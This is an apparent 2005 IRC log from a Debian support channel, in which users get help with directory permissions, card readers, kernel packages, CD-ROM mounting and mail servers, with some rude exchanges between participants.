| 11:24.02 | Coke | Seldo: or ctrl+alt+F1 through F6 if you are using the default Debian setup. |
| 11:24.12 | pureone | sussudio : no real reason |
| 11:24.18 | Coke | HAHAHAHA! |
| 11:24.19 | Seldo | Coke: ctrl-alt-backspace worked, thanks. |
| 11:24.24 | infodroid | vaq: what are you expecting? |
| 11:24.26 | Coke | vaq: why are you asking this question? |
| 11:24.39 | Coke | vaq: do you know what permissions are? |
| 11:24.54 | vaq | Yes, but by default install it always works |
| 11:24.58 | vaq | this time it didnt. |
| 11:25.05 | Coke | vaq: first things, ls -ld /var/www |
| 11:25.19 | vaq | Coke: drwxrwxrwx 3 www-data www-data 4096 2005-03-04 06:16 /var/www/ |
| 11:25.25 | Coke | vaq: WHOOOAH! |
| 11:25.35 | Coke | vaq: first of all, why the heck is it world writable? |
| 11:25.35 | vaq | Coke: and the webserver is running as user www-data |
| 11:26.14 | vaq | Coke: drwxr-xr-x 3 www-data www-data 4096 2005-03-04 06:16 /var/www/ - better? |
| 11:26.56 | Coke | vaq: yes, the second thing is to check your Apache configuration. Are you using 1.3 or 2.0? |
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| 11:27.09 | vaq | 1.3 |
| 11:27.12 | wishie | anyone here compiling mame 0.92 svgalib ? |
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| 11:27.54 | Coke | vaq: try apt-get remove --purge apache; apt-get install apache |
| 11:27.57 | sussudio | !anyone |
| 11:27.57 | dpkg | ***anyone: No such nick/channel - and yes, there probably is someone, somewhere, who knows or runs it; that doesn't mean *I* do. |
| 11:28.08 | Coke | vaq: the default configuration should at least give you access to the /index.html |
| 11:28.15 | Coke | vaq: also, ls -l /var/www/ |
| 11:28.21 | vaq | Hmmm: sh: cd: /var/www: Not a directory |
| 11:28.22 | Coke | vaq: also, ls -l /var/www/index.html |
| 11:28.25 | vaq | after doing a su www-data |
| 11:28.26 | qwertz_ | Hi! Trying to get evolution to work with the exchange server but trying to connect the server results in a failed connection to Evolution Exchange backend process - any suggestions? |
| 11:28.38 | Coke | vaq: ls -ld var |
| 11:28.40 | Coke | vaq: ls -ld /var |
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| 11:28.56 | vaq | Coke: drwxr-x--- 15 root root 4096 2005-03-04 06:12 /var/ |
| 11:29.01 | wishie | sussudio: so what am i supposed to ask then, in this case ? |
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| 11:29.08 | Coke | vaq: yeah, www-data isn't allowed to read or enter the /var directory |
| 11:29.19 | Coke | vaq: DON'T mess with the permissions if you don't know how |
| 11:29.38 | vaq | Coke: sorry, chown -R www-data:www-data /var/www ? |
| 11:29.41 | Coke | Debian has a pretty tight security as a default, there shouldn't be a need to mess with it. |
| 11:29.45 | Coke | vaq: no |
| 11:29.51 | Coke | chmod a+rx /var |
| 11:29.59 | Coke | do you even know how file permissions work? |
| 11:30.25 | Maulkin | !tell wishie about smart questions |
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| 11:30.33 | vaq | Coke: not 100%, works know thanks alot. |
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| 11:30.53 | Coke | vaq: you need to learn it fast, the filesystem is the base of your OS |
| 11:31.38 | Coke | vaq: the fact taht you weren't allowed/couldn't enter /var/www as www-data, but it worked as root, should have tipped you off that it was permissions related. |
| 11:31.52 | wishie | i still believe i asked a valid question 'has anyone compiled xmame 0.92 with svgalib support?' |
| 11:32.00 | Coke | vaq: I just couldn't beleive you had changed the permissions for /var, so after checking /var/www I just pressumed there was a configuration error. |
| 11:32.01 | vaq | Coke: ye |
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| 11:32.49 | Coke | vaq: the rwx permissions are grouped in three: owner, group, all |
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| 11:33.18 | Coke | vaq: rwx means Read Write Execute. For directories that can be translated to List Write Enter |
| 11:33.46 | vaq | Coke: im move on to google and read about it thanks for you help |
| 11:33.48 | Coke | vaq: ls -ld will list long format for a directory |
| 11:33.54 | Coke | np man |
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| 11:36.53 | pwned | I need to know how to start resolving such a problem; I installed alsa, gxine, xmms, etc have sound, but some games and WINE don't have sound output |
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| 11:38.05 | inc|freaky | how can i access a cardreader under linux? |
| 11:38.17 | TinoW | inc|freaky: depends on the cardreader |
| 11:38.26 | inc|freaky | TinoW: oO how can i find out? |
| 11:38.27 | pwned | /dev/dsp exists and gives static if I cat something into it |
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| 11:38.45 | Coke | pwned: what are "some games". are they played through wine? |
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| 11:39.08 | TinoW | inc|freaky: you can look at the plug (serial? usb? whatever? ) you can look at the name (--> google for name of device and linux) |
| 11:39.37 | TinoW | inc|freaky: you can plug it in and see what the kernel, lspci, lsusb, ... say, google again... |
| 11:39.37 | pwned | Coke, the linux version of quake3 gives no sound, vegastrike (debian package) has no sound, and nothing run through wine has sound |
| 11:40.08 | pwned | I thought that would be useful to mention |
| 11:40.19 | inc|freaky | TinoW: it was allready in the pc, i dont have to plugin anything ... |
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| 11:42.42 | TinoW | inc|freaky: what does the documentation of your PC say about it? Do you see it with lspci or lsusb or is it a serial card reader? |
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| 11:43.03 | inc|freaky | TinoW: i dont know ... w8 |
| 11:43.25 | bl4ckh4t | hi, Somebody know where is the repository of the mplayer's pluguin for Firefox? |
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| 11:43.56 | abrocadabro | how do I add user account in squirrelmail? |
| 11:44.35 | thesaboteur | rtfm |
| 11:44.36 | trogger | abrocadabro: it will just be your imap logon |
| 11:44.39 | inc|freaky | TinoW: i have no idea, lspci displays some unknown devices and lsusb displays 3 devices 2 nothing behind 1 genesys something ... |
| 11:45.37 | abrocadabro | trogger: how do I setup my IMAP accounts? do I need to get IMAP server package installed? |
| 11:46.12 | trogger | abrocadabro: yes you will need an imap server. |
| 11:46.25 | TinoW | inc|freaky: pciids.sourceforge.net for the unknown ids, and or apt-get install hwdata |
| 11:46.34 | bl4ckh4t | Nobody here can view movies into a Firefox window? :O |
| 11:47.12 | inc|freaky | http://pciids.sourceforge.net |
| 11:47.27 | TinoW | inc|freaky: chances are, built in cardreaders are on a internal serial port, so also check /dev/ttyS* |
| 11:47.35 | abrocadabro | trogger:apt-cache search imap didn't have any imap server though |
| 11:47.49 | inc|freaky | TinoW: im a newbie ... i have no idea what ure talking about ;D |
| 11:47.52 | PerfDave | bl4ckh4t: kaffeine-mozilla or mozilla-plugin-vlc |
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| 11:48.02 | TinoW | inc|freaky: thats very hard then |
| 11:48.12 | inc|freaky | i just wanna get my cardreader to work :D |
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| 11:48.19 | inc|freaky | well, i dont really need it |
| 11:48.20 | trogger | abrocadabro: there are lots. courier-imap, cyrus, bincimap, dovecot... |
| 11:48.22 | inc|freaky | but i wanna get it to work |
| 11:48.27 | inc|freaky | because im going to leave windows |
| 11:48.42 | TinoW | inc|freaky: but you are the one who must investigate it - and grow the ability to do so |
| 11:48.47 | bl4ckh4t | PerfDave, ok thnxs... & the repository is...? |
| 11:48.56 | Kvant | inc|freaky, is it a usb reader? |
| 11:49.13 | PerfDave | bl4ckh4t: They're both in Debian. |
| 11:49.26 | inc|freaky | Kvant: no, it was allready in my pc ... i didnt buy it ... its there, where usually a floopy-drive is (i aint got no floppy drive in this pc) |
| 11:49.31 | TinoW | inc|freaky: do you see it with windows hardware manager? |
| 11:49.59 | abrocadabro | trogger:yeah, thanks, I chose courier |
| 11:50.17 | trogger | abrocadabro: np |
| 11:50.40 | inc|freaky | i have no windows installed |
| 11:50.58 | inc|freaky | i luv debian :D |
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| 11:52.38 | TinoW | inc|freaky: then just google for all the hardware IDs you see with lspci, lsusb. For serial interfaces, just try some software |
| 11:53.11 | TinoW | inc|freaky: for example: chipcard-tools |
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| 11:53.30 | filabula | salve |
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| 11:53.58 | filabula | Hello |
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| 11:54.58 | sml | ok |
| 11:54.59 | tommy__ | how can i associate evolution to open all .doc attachments in OpenOffice... right now it only shows an option for AbiWord |
| 11:55.10 | jm_ | tommy__: mailcap |
| 11:55.13 | Seldo | First time installer: installing Linux on a really old laptop, I've googled and found a "kernel configuration" list (a lot of CONFIG_ directives) that is supposed to make my sound card work. Is the only way to use this information to recompile the kernel? |
| 11:55.24 | tommy__ | jm_: thnx lemme try.. |
| 11:55.26 | TinoW | inc|freaky: do you see your device here: http://pcsclite.alioth.debian.org/ccid.html ? |
| 11:55.28 | Seldo | (I'm using debian-woody) |
| 11:55.31 | sml | bl4ckh4t: You seen Z3r0_k3wL ? |
| 11:55.57 | inc|freaky | i dont know the name of it |
| 11:55.57 | inc|freaky | nor the vendor |
| 11:55.57 | PerfDave | Seldo: Which kernel are you running currently? |
| 11:55.58 | trogger | can anyone point me at a howto for debian cron jobs that is simple? |
| 11:56.04 | PerfDave | Seldo: You might need to load a module for your existing kernel to get your sound to work. |
| 11:56.08 | PerfDave | trogger: man 5 crontab |
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| 11:56.16 | Seldo | Perfdave: Whichever one comes with debian 3.0 stable |
| 11:56.19 | trogger | PerfDave: I have tried this |
| 11:56.51 | PerfDave | Seldo: Debian comes with lots of kernels. What does `uname -r` say? |
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| 11:57.52 | Seldo | 2.2.20-idepci |
| 11:58.03 | tommy__ | jm_: /etc/mailcap specifies it as already associated with openoffice.. i guess it is some gnome setting .. |
| 11:58.24 | TinoW | inc|freaky: just look at it? There are PICTURES :-) |
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| 11:58.27 | jm_ | tommy__: hmm maybe it has its own settings for this then |
| 11:58.33 | calin | Hello>? |
| 11:58.33 | PerfDave | Seldo: apt-cache search kernel-image-2.4 |
| 11:58.35 | calin | awesome |
| 11:58.50 | calin | what can i use to see what is using a high percentage of my cpu/ |
| 11:58.52 | calin | ? |
| 11:58.52 | PerfDave | Seldo: Install the most recent 2.4 kernel in Woody, it might fix your problem for you. |
| 11:58.59 | calin | it's at 100% and that's not normal |
| 11:59.04 | tommy__ | jm_: i did a bit of googling and found that evolution uses gnome settings.. but couldn't find gnome file associations either.. |
| 11:59.05 | thesaboteur | calin: top |
| 11:59.11 | calin | thank you |
| 11:59.13 | PerfDave | !tell calin -about enter |
| 11:59.13 | inc|freaky | TinoW: its a 4in1 cardreader |
| 11:59.26 | jm_ | tommy__: and there's nothing in its preferences (similar to say mozilla or firefox)? |
| 11:59.49 | inc|freaky | i got a CF/MD, SD/MMC, MS and SM cardreader in there |
| 11:59.49 | tommy__ | jm_: hmm.. |
| 11:59.51 | calin | PerfDave: I put the ? on another line because I was fixing my typo, thanks for not reading where I accidently put a / |
| 11:59.54 | calin | moron. |
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| 11:59.58 | Seldo | perfdave: found about 15 matches. What should I be looking for? |
| 12:00.32 | PerfDave | calin: Yeah, of course, it still took you five lines to impart one bit of information. Retard. |
| 12:00.38 | TinoW | inc|freaky: ah. ah! |
| 12:00.44 | PerfDave | Seldo: The most recent one for your processor type, basically. |
| 12:00.47 | inc|freaky | TinoW: :D |
| 12:01.15 | TinoW | inc|freaky: modprobe scsi, sd_mod, usb-storage ... |
| 12:01.24 | calin | PerfDave: I'm sorry, excuse me, I talk how I speak. Sometimes I use ',', sometimes I use a carriage return. Give me a fucking break. It's not like YOU are perfect yourself! |
| 12:01.26 | TinoW | inc|freaky: or just apt-get install hotplug |
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| 12:01.42 | inc|freaky | hotplug is already the newest version. |
| 12:01.44 | Seldo | perfdave: I'm a k6-2, and I've got 2.4.16 and 2.4.18 for that |
| 12:01.49 | inc|freaky | TinoW: |
| 12:01.52 | PerfDave | Seldo: Then go for 2.4.18 ;) |
| 12:01.59 | TinoW | inc|freaky: then plug in a card and see dmesg and or cat /proc/partitions |
| 12:02.09 | PerfDave | calin: Actually, I am perfect. |
| 12:02.14 | calin | Bull |
| 12:02.15 | calin | fuckin |
| 12:02.16 | calin | gshit |
| 12:02.17 | jm_ | calin: get over it, he just told you about it in case you were to continue with it (imagine 500 people doing it) |
| 12:02.22 | calin | so there |
| 12:02.33 | inc|freaky | TinoW: and what would a cardreader device be called? |
| 12:02.45 | calin | Now. Have a nice day. =] |
| 12:02.45 | inc|freaky | i got sde |
| 12:02.55 | PerfDave | calin: *plonk* |
| 12:03.06 | PerfDave | Fucking idiots. |
| 12:03.16 | inc|freaky | lol PerfDave, im a idiot too |
| 12:03.28 | Seldo | perfdave: my question was whether it was *necessary* to recompile the kernel, not which one to use -- but I guess that's an implicit yes! |
| 12:03.29 | rixth | We all have our idiotic moments. |
| 12:03.40 | inc|freaky | rixth: thats right |
| 12:03.48 | inc|freaky | i just go through many of them, thats very hard |
| 12:03.48 | PerfDave | Seldo: No, a kernel-image package is pre-compiled. It may have the soundcard support that you need. |
| 12:04.18 | rixth | Now, a little off topic, but does anyone have a Casio graphical calcualtor? |
| 12:04.24 | trogger | rixth: yep |
| 12:04.46 | rixth | trogger: got any good games? ;) My maths exams are rather boring |
| 12:04.48 | inc|freaky | TinoW: you're right!!!!!! if i plug in a card there are more devices :DDDDD |
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| 12:05.01 | trogger | rixth: nah. |
| 12:05.09 | rixth | trogger: mmmk |
| 12:05.19 | inc|freaky | TinoW: how do i access it now??? |
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| 12:05.45 | trogger | if I plonk a script in /etc/cron.hourly that is executable, do I need to do anything to make it go? |
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| 12:06.38 | jm_ | trogger: yes, you need to keep cron running |
| 12:06.55 | trogger | is that it? because it doesn't seem to work other than that |
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| 12:07.20 | jm_ | trogger: man run-parts |
| 12:07.24 | Seldo | Perfdave: the page I'm reading about getting sound to work on this hardware indicate that it uses a nonstandard IRQ (5 instead of 7). Is it likely that a different kernel image will help? |
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| 12:07.45 | PerfDave | Seldo: What soundcard is it? |
| 12:08.02 | PerfDave | Seldo: Sounds to me like you'd want to pass the IRQ as an option to the kernel module which supports it. |
| 12:08.12 | PerfDave | Seldo: It's got to be worth a go, compiling your own kernel is hard and rarely rewarding. |
| 12:08.13 | trogger | jm_: nice tip, thanks. |
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| 12:10.01 | rixth | How can I make PrintScreen work in Sarge? THe only way I can get a screenshort is by going Gnome Menu -> Screenshot |
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| 12:10.37 | Seldo | Perfdave: an incredibly crappy onboard one; the specs don't give any more information than "included" and I have no information on the mobo. It's a really ancient laptop, like I say. I have a page that says somebody got it to work though, using these kernel configuration options -- but I don't know how to use kernel configuration options, being a total noob. |
| 12:11.46 | PerfDave | Seldo: I'd recommend trying the new kernel-image package as a starting point. If that doesn't work, you can look at compiling your own kernel. You're running 2.2.20-idepci and I wouldn't expect that to have fantastic sound support. |
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| 12:12.06 | PerfDave | Seldo: One other option would be to use Debian Sarge with your laptop, which has hardware autodetection but no security updates. |
| 12:12.09 | trogger | jm_: ok, nice tip. next question: why won't my script run when the umask is correct? what else should I check. |
| 12:12.38 | jm_ | trogger: what do you mean with umask? |
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| 12:13.08 | trogger | jm_: the permissions indicate that it should run (-rwxr-xr-x), but run-parts doesn't show it. |
| 12:13.31 | jm_ | trogger: did you read man page, about how the files must be named? |
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| 12:14.41 | trogger | jm_: cheers. working nicely :) |
| 12:15.15 | jm_ | trogger: :) |
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| 12:16.35 | TinoW | inc|freaky: modprobe vfat (just in case) and then mount /dev/<device you see from cat /proc/partitions /mnt) |
| 12:16.39 | Seldo | perfdave: I have reason to believe the hardware autodetection in more recent linux kernels breaks on this laptop's dodgy hardware (no recent distros would install: I tried suse 9.1, 9.2 and ubuntu). So I don't want to use sarge. |
| 12:17.06 | PerfDave | Seldo: Fair enough. Then try a more recent kernel from Woody. |
| 12:17.13 | TinoW | Seldo: read on boot options |
| 12:17.18 | Seldo | perfdave: what howto should I be looking for on switching to a different kernel? |
| 12:17.41 | PerfDave | Seldo: There is no HOWTO. Just install the kernel-image package and reboot. |
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| 12:18.10 | Piggeldi | hi @ all |
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| 12:18.48 | Piggeldi | need some help with debian sarge and kernel 2.6.10-1-686 |
| 12:18.50 | Seldo | perfdave: okay, then. Assume I have no idea how to install a different kernel-image package :-) What should I read? |
| 12:19.14 | Piggeldi | can't access my cdrom drive |
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| 12:19.22 | Piggeldi | can somebody help? |
| 12:19.47 | kneet | can't find device or permissions prob or ... ? |
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| 12:19.59 | PerfDave | Seldo: It's a Debian package. If you don't know how to install packages with apt, try reading the #debian FAQ, the Installation Manual, or the APT HOWTO. |
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| 12:20.29 | Piggeldi | cant mount device... its a combo cd/dvd/cdrw |
| 12:20.51 | kneet | what error message do you get? |
| 12:21.10 | abrocadabro | how do I configure imap accounts? through courier-imap I mean |
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| 12:22.06 | Piggeldi | it says (in german) kein gültiges blockorientiertes gerät something like no valid device i guess |
| 12:22.21 | Xabbu_ | How do I setup apache2 with php4 and MySQL on debian sarge? |
| 12:22.23 | kneet | which device are you trying to mount and is it present in /dev? |
| 12:23.08 | Piggeldi | i tried to mount /dev/cdrom /dev/hdc |
| 12:23.17 | Piggeldi | its all present in /dev |
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| 12:23.56 | Piggeldi | i did an upgrade from 2.4.20-xfs to 2.6.10 after that the probs started |
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| 12:24.22 | thesaboteur | sigh, to setup a server it requires that you go and read the manuals and learn how to configure and administer it. You are only hurting yourself buy trying to cut corners. |
| 12:24.28 | Piggeldi | i expect some probs with ide-scsi driver but i'm not sure how to fix this |
| 12:24.47 | kneet | Ah - am using ide-cd myself - ide-scsi in 2.6 I never got to work |
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| 12:25.24 | Piggeldi | how can i force sarge to do this? |
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| 12:26.39 | jm_ | Piggy: do not use ide-scsi with 2.6, it's broken |
| 12:26.44 | jm_ | Piggeldi ^^^^^^^^ |
| 12:26.56 | Piggy | :-| |
| 12:26.58 | TinoW | Piggeldi: so its an IDE device? |
| 12:27.06 | jm_ | heh |
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| 12:27.31 | kneet | when did 2.6.10 hit sarge? |
| 12:27.55 | jm_ | it didn't |
| 12:28.01 | kneet | didn't think so |
| 12:28.15 | kneet | so - Piggeldi - is this sarge or sid? |
| 12:28.22 | TinoW | .8 is sarge, .10 is sid |
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| 12:28.53 | daffy-pkf | lo |
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| 12:30.23 | RootsLINUX | I love the feeling of a brand new PC =D |
| 12:30.40 | Piggeldi | yes it is... |
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| 12:31.16 | TinoW | Piggeldi: any boot options you used? (see etc/lilo.conf and/or grubs menu.lst ) |
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| 12:31.32 | RootsLINUX | I need to try out a new window manager. First Linux PC I owned I used KDE. 2nd was Gnome. Now I'm on my 3rd. I'm on IceWM right now and my feeling is "meh" |
| 12:31.48 | TinoW | Piggeldi: or just cat /proc/cmdline |
| 12:31.52 | trogger | RootsLINUX: if you want something real different, try Waimea. Very interesting concept. |
| 12:31.54 | TBBle | RootsLINUX: wmi! |
| 12:32.32 | TinoW | RootsLINUX: xfcwm4 is nice |
| 12:32.43 | trogger | RootsLINUX: for waimea, best to get 0.4 from stable. |
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| 12:33.02 | Piggeldi | i use append hdc=ide-scsi |
| 12:33.11 | MobyTurbo | RootsLINUX: check out xwinman.org to help you decide. |
| 12:33.19 | Piggeldi | i tried without that but doesnt work too |
| 12:33.33 | Xsquared | \m/ |
| 12:33.33 | TBBle | http://wmi.modprobe.de/ |
| 12:33.38 | Piggeldi | kneet its V3.1 |
| 12:34.01 | kneet | I'd boot without and make sure ide-cd module is loaded |
| 12:34.11 | Piggeldi | i just installed kernel-image-2.6.10-1-686 |
| 12:34.36 | kneet | but 2.6.10 is in unstable - not sarge/testing |
| 12:34.45 | RootsLINUX | waimea looks just like gnome...? |
| 12:34.53 | trogger | RootsLINUX: check out http://www.andrerestivo.com/weblog/5851/ for some info. 0.4 is nothing like gnome!!! |
| 12:35.03 | trogger | 0.5 is a <bit> like it, though. |
| 12:35.10 | trogger | 0.4 has no decorations on screen most of the time. |
| 12:35.20 | Piggeldi | before 2.6.10 i tried 2.6.8-2-686 too.. the prob was the same... so i tried .10 |
| 12:35.21 | TinoW | or widowmaker ;) |
| 12:35.27 | brynjarh | Whera can I find a document explaining what premissions each group gives in debian? (audio/plugdev/gnat/list/lp/etc..) |
| 12:36.10 | RootsLINUX | http://img56.exs.cx/my.php?loc=img56&image=fvwm200502150md.png <<< what's this? me like =D |
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| 12:36.56 | MobyTurbo | RootsLINUX: judging by the URL name without checking it out it's probably a fancy fvwm theme. |
| 12:36.56 | ArtVandalae | RootsLINUX, FVWM (www.fvwm.org) |
| 12:36.57 | kneet | Piggeldi, did you change your sources to apt to point to unstable then run a dist-upgrade - or did you just manually download the kernel image? |
| 12:37.19 | ArtVandalae | RootsLINUX, the only thing is, it'll take some effor to get there |
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| 12:37.38 | ArtVandalae | *effort |
| 12:37.51 | Piggeldi | i downloaded with apt-get install .... |
| 12:37.53 | RootsLINUX | Oh, yeah duh ^_^ |
| 12:38.19 | Piggeldi | and added it to my grub config |
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| 12:38.31 | RootsLINUX | man and tomorrow my father is giving me his old laptop so I'll have to choose another window manager for it too :D |
| 12:38.42 | kneet | Piggeldi, I'm still not sure - did you choose unstable during installation? Or have you changed you're apt sources to point to unstable since installation? |
| 12:39.32 | Piggeldi | i did not change my apt sources ... |
| 12:40.32 | kneet | Then I can't see how apt could even find 2.6.10 - unless you chose unstable during the installation (think d-i under expert will allow this choice). I'd still try booting without the append line and making sure I loaded ide-cd instead of ide-scsi module |
| 12:41.20 | Piggeldi | how can i make this sure? |
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| 12:41.39 | kneet | look in /etc/apt/sources.list - does it talk about sarge/testing or sid/unstable ? |
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| 12:42.01 | AbyssGer | lo looking for an debian wlan driver anyone could help? |
| 12:42.21 | AbyssGer | 0000:02:00.0 Network controller: RaLink Ralink RT2500 802.11 Cardbus Reference Card (rev 01) |
| 12:42.27 | ArtVandalae | !tell AbyssGer about anyone |
| 12:42.55 | AbyssGer | sorry |
| 12:43.08 | AbyssGer | im using debain sarge |
| 12:43.13 | Piggeldi | some entries say woody, some sid, some sarge :-( |
| 12:43.13 | Seldo | installing new kernel image with apt-get: it's asking if I've configured my boot loader to use initrd. I have no idea -- how can I find out? |
| 12:43.27 | kneet | Piggeldi, then you're system is probably _very_ broken |
| 12:43.39 | kneet | unless you've got some wild apt-pinning set up |
| 12:43.39 | treestone | AbyssGer: For most wlan cards these days it's of no help to give the product name, you need the chipset (they keep changing the chipsets like there's no tomorrow, keeping the product name) |
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| 12:43.54 | loocek | hi! (debian testing).I try to run my HPDeskjet920c with cups. When I type 'lp some.ps' ...my printer doesn't run. In log I've got 'Unable to convert file 0 to printable format for job 10!'. But I have gs-esp installed!!! and even...gs-common, gs-fonts, gs-fontsx11, gsfonts-other,all foomatic*, and update-alternatives tells me that gs-esp is the only one ....what should I do? |
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| 12:44.24 | AbyssGer | treestone : This is the chipset, the wlan card is from saiphron |
| 12:44.38 | Piggeldi | how can i fix this? maybe it s better before searching for any other faults |
| 12:45.17 | treestone | AbyssGer: Ah, ok. I've lost my list of cards and chipsets unfortunately w/info, so I can't help you any further. |
| 12:45.21 | sanxiyn | "Thank you for your letter, you have been placed in a priority queue, you are currently at position #548. Please hold. Tralalalalalala." -- debian-vote |
| 12:45.27 | AbyssGer | there should be in the testing a linux-wlan-ng packet but i couldnt find it |
| 12:45.32 | kneet | not sure - I have either sarge or sid - and haven't mixed them |
| 12:46.13 | TBBle | loocek: Got hpijs if you need it? |
| 12:46.35 | loocek | oh ... hpijs I've got too |
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| 12:47.19 | Piggeldi | my apt.conf say default release is testing |
| 12:47.25 | treestone | AbyssGer: Well, if apt-cache search linux-wlan-ng doesn't show it it isn't there. |
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| 12:47.40 | abrocadabro | how the crap can I add user accounts into imap server and hook up imap server with squirrelmail? |
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| 12:48.35 | daffy-pkf | can i know wich process is using a specific mounted device? (wich process is using /cdrom for example) |
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| 12:48.36 | BadMan | well, I have sound and a working cs4281 snd card now.. trying to figure out why only root can mount cdroms... |
| 12:48.36 | loocek | I don't have any idea...anyone ?? |
| 12:48.36 | abrocadabro | daffy-pkf: lsof /dev/cdrom |
| 12:48.36 | wishie | daffy-pkf: lsof help ? |
| 12:48.36 | trogger | abrocadabro: they should just be the same as your user accounts. |
| 12:48.41 | kneet | BadMan - prob the cdrom group can too - is your user in this group? |
| 12:48.42 | daffy-pkf | thanks |
| 12:48.46 | AbyssGer | Packages of linux-wlan-ng are available in the Debian unstable |
| 12:48.46 | AbyssGer | <PROTECTED> |
| 12:48.46 | AbyssGer | <PROTECTED> |
| 12:48.46 | AbyssGer | <PROTECTED> |
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| 12:48.51 | BadMan | kneet yes |
| 12:48.55 | kneet | hmm |
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| 12:49.04 | Piggeldi | can i append hdc=ide-cd to my kernel cmdline? does someone know? |
| 12:49.06 | AbyssGer | sry |
| 12:49.20 | AbyssGer | Packages of linux-wlan-ng are available in the Debian unstable |
| 12:49.30 | abrocadabro | trogger: is there a web based page that I can add more people? |
| 12:49.34 | AbyssGer | <PROTECTED> |
| 12:49.38 | Piggeldi | i m working with root to fix the prob... this should work at the moment |
| 12:49.49 | trogger | abrocadabro: no idea. |
| 12:50.13 | BadMan | kneet Im certain the cdrom works, worked for install, apt-gets from cd root can mount it... need to see my fstab line? |
| 12:50.55 | kneet | Check the permissions of the device you're trying to mount (if a symlink then follow it until you get to the real device) |
| 12:51.04 | abrocadabro | trogger: I was trying to login with a normal user account but nothing happens |
| 12:51.13 | BadMan | ok, here is my fstab line as well |
| 12:51.24 | trogger | abrocadabro: have you checked that courier is running? |
| 12:51.29 | BadMan | . /dev/cdrom /cdrom iso9660 ro,user,noauto,unhide 0 0 |
| 12:51.56 | green_earz | BadMan: is the user added to the cdrom group |
| 12:52.02 | kneet | <PROTECTED> |
| 12:52.04 | thesaboteur | abrocadabro: please go rtfm setting up a server isn't randomly asking questions in #debian about x thinking that they will lead you to the solution of Y. |
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| 12:53.25 | BadMan | kneet symlink to /dev/hdc the perms are rw-rw---- root and disk group same with hdd(cdrw/dvd player) |
| 12:53.26 | abrocadabro | thesaboteur: I have googled all over the places and I thought someone might know something so I can figure the rest of the stuff out |
| 12:53.36 | quitte | how can i disable console blanking? |
| 12:53.54 | BadMan | kneet they are all rw-rw---- root and disk |
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| 12:54.17 | Piggeldi | kneet: added ide-cd to cmdline and try to reboot now... i'll be back in a few seconds |
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| 12:54.58 | bogon | quitte: try editing /etc/console-tools/config |
| 12:55.01 | kneet | BadMan, OK - mine is root.cdrom. the hd device (c/d) that is there - which major number is it (first number after group name) |
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| 12:55.37 | BadMan | I just dbl checked that my user is in disc group |
| 12:55.53 | kneet | BadMan, and root can mount the cd? |
| 12:55.55 | quitte | bogon doesn'T help much. |
| 12:55.56 | BadMan | kneet? are you looking for ### |
| 12:56.03 | BadMan | yes root can mount it |
| 12:56.07 | kneet | hmm |
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| 12:56.51 | Jacco | bleh. |
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| 12:56.53 | Jacco | with vi |
| 12:56.57 | Jacco | how do I change it to edit mode? |
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| 12:57.22 | kneet | you haven't just added the user to the groups? You'll be better off logging out/in if so |
| 12:57.26 | BadMan | Jacco I use nano Im sure that someone wont like it |
| 12:57.33 | BadMan | but its easy to use like pico |
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| 12:58.06 | BadMan | kneet know I just cehcekd to see if I was int he group... but I will anyway... |
| 12:58.08 | BadMan | bbiaf |
| 12:58.10 | BadMan | thanks |
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| 12:58.28 | MobyTurbo | Jacco: press i to put in insert mode, esc key to go back to command mode. |
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| 12:59.01 | Coke | Jacco: man vi |
| 12:59.33 | spo0nman | Jacco: vi :help |
| 12:59.50 | Jacco | Ah. |
| 12:59.59 | Jacco | Is there an easier editor to use than vi? |
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| 13:00.03 | Jacco | One that lets me append text? |
| 13:00.07 | bogon | Jacco: nano |
| 13:00.19 | Jacco | right, thanks. |
| 13:00.22 | MattF | ROFLMFAO |
| 13:00.39 | MattF | my PC just started making a really freaky fast beeping noise from the internal speaker |
| 13:00.44 | MattF | I was like, ahhhh what's going on |
| 13:00.53 | MattF | then I realised my foot was on the keyboard :/ |
| 13:01.15 | Coke | Jacco: easier? |
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| 13:01.28 | Coke | Jacco: depends on what you want to do. I find emacs the easiest to work with. |
| 13:01.33 | mooded | hey all... anybody knows which package is needed for postfixes "saslauth -a auxprop" to work ? |
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| 13:01.40 | Coke | Jacco: some people find vim easier. |
| 13:02.05 | MobyTurbo | emacs would make an excellent operating system, except it's missing a good editor. |
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| 13:03.10 | Piggeldi | re |
| 13:03.46 | Kurniady | what ppp dialer should I use on debian? |
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| 13:04.19 | AbyssGer | what doest it mean? Makefile:32: *** PCMCIA_PATH doesn't contain valid pcmcia-cs source. |
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| 13:04.26 | Coke | Kurniady: one of the ones Debian provides |
| 13:04.29 | BadMan | kneet quick question about mounting.. I have been through man mount but it doesnt say if should have my own mount directory @ /home/bill/cdrom or make use of /cdrom? |
| 13:04.37 | Piggeldi | i check my dmeg output and found: "unable to identify CD-ROM format" may this help for fixing my prob kneet ? |
| 13:04.38 | Isuba | Geez... the old VI vs. Emacs religous feud still going strong I See... LOL |
| 13:04.38 | mooded | abydos, meaning your $PCMCIA_PATH points to a bad location ^^ |
| 13:04.40 | Coke | AbyssGer: that the PCMCIA_PATH environment variable doesn't contain a valid pcmacia-cs source. |
| 13:04.49 | JediMaster | hmmm anyone got any ideas why I can't install php4 and php4-gd2? I get: The following packages have unmet dependencies: |
| 13:04.49 | mooded | AbyssGer, i meant |
| 13:04.49 | JediMaster | <PROTECTED> |
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| 13:05.01 | AbyssGer | Coke: how can i fix it? |
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| 13:05.21 | Coke | AbyssGer: set PCMCIA_PATH to point out the location of a valid pcmcia-cs source |
| 13:05.31 | mooded | AbyssGer, download pcmcia-cs source, and do an "export PCMCIA_PATH=/path/to/sources" |
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| 13:05.57 | kkristin | JediMaster: using apt-get? thats odd i think i just did that last week to install zabbix? wats the version of debian? stable? |
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| 13:06.05 | Isuba | SonnyChiba, Does your nick mean you are from Chiba? |
| 13:06.21 | ricky_clarkson | No, it means he's someone's son. |
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| 13:06.41 | SonnyChiba | Isuba: no, it doesn't :) |
| 13:06.53 | AbyssGer | mooded: ive search via apt-cache but no sources was found |
| 13:06.53 | greycat | or it means he enjoys living in Sunny Chiba, but he can't spell very well. |
| 13:07.00 | deleted | I need help with xfree, i got a g320 ECS Laptop an he says no screens found |
| 13:07.01 | ricky_clarkson | !chiba |
| 13:07.10 | mankeletor | hi, what's debian's start script? |
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| 13:07.18 | greycat | mankeletor: read /etc/init.d/README and man inittab |
| 13:07.26 | BadMan | kneet stills ays only root can do that with line mount -t autofs /dev/cdrom /home/bill/cdrom |
| 13:07.29 | ricky_clarkson | " A city of east-central Honshu, Japan, on the northeast shore of Tokyo Bay. It is a manufacturing center. Population: 908,000." |
| 13:07.31 | takatumi | greycat: that's the actor who playes hattori hanzo in kill bill |
| 13:07.32 | ricky_clarkson | mankeletor: man init |
